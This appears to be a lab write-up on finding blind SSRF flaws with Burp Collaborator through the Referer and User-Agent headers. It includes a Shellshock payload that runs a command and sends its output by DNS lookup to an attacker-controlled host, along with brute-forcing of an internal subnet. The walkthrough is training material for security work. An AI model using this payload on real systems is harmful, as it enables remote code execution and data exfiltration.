Exploiting Blind SSRF
Last updated
Last updated
They arise when an application leads to issue a backend-HTTP request to a supplied URL but, the response from the backend request is not returned in the application's front-end response.
The impact is lower usually, when compared the regular vulnerability because of thier one-way nature.
They cannot be exploited to retrieve sensitive data from back-end systems, although in some situations they can be exploited to achieve full remote code execution.
The most reliable way to detect Blind SSRF is using out-of-band techniques
which means to trigger an HTTP request to an external system that you control, and monitoring for network interactions with that system
This can be achieved by the Burp Collaborator Client, we can generate unique domain names, send these as payloads to the application and monitor any incoming requests with those domains.
If we notice any, then it is vulnerable to SSRF and considered to be blind.
So in this test case, we do not have an option called check stocks or any sort of API to tamper and get a valid SSRF
We don't even have a path by which the webpage travels, so there is a dead end here, how do we get a ssrf in this situation ?
Well, we just have to take a closer look on the request when we select any product, it has something called
Referrer, which is same as thedomain
If we try to tamper the domain then its of no use, but what if we tamper the
Referrer header. Sounds interesting !
Using the Burp Collaborator client, we can generate our own public server, we just have to know whether the application is
pinging backto our burp server, and it does
So this is how we hunt for Blind SSRF
Identifying a blind SSRF which will trigger out-of-band HTTP requests doesn't provide a route to RCE, since we cannot view the response from the backend(one-way nature).
But if we try to send payloads and probe for other vulnerabilities on the server itself then there are high chances to uncover a critical vulnerability or an unpatched in the internal server.
Firstly, first what is Shellshock exploit ?
Shellshock is a computer bug that exploits the vulnerability in the UNIX command execution shell-bash to facilitate hackers to take control of the computer system remotely and execute arbitrary code.
In our case, we are looking for an out-of-band interaction with the remote host and therefore inserting it in the User-agent paramter would work :
Before we start, it's good to install an extension called
Collaborator evrywherefrom the BApp store and add the target to the scope so that the extension recognizes it and starts an active scan on the target.
The extension tells us that there is an out-of-band interaction with the remote host, which confirms there is a SSRF but is it Blind ?
Offcourse it is, we get to know its blind when we crawl through the application - crawling through the application does not gives us any path to insert a normal SSRF payload, like we've seen in the previous labs.
So now, the only option left is to test the main page which's got many parameters
The
User-agentseems to be interesting as we can insert a shellshock bug and retrieve interesting information() { :;}; /usr/bin/nslookup $(COMMAND).<ATTACKER IP>
The ATTACKER IP is nothing but the Burp's collab client, we are mentioned not to connect the remote host to our IP.
Like previous labs, the internal server is somewhere in the 192.168.0.x series and we'll have to bruteforce it meanwhile insert the payload in the User-agent parameter
Once the attack is finished, we can poll or take a look at the collab tab and we can notice some interactions are made - Thus, confirming it to be a blind SSRF
Another way for exploiting a blind SSRF vulnerability is to make the application to connect to a system under the attacker's control, and return malicious responses to the HTTP client that makes the connection. Only then we might get a RCE within the application infrastructure
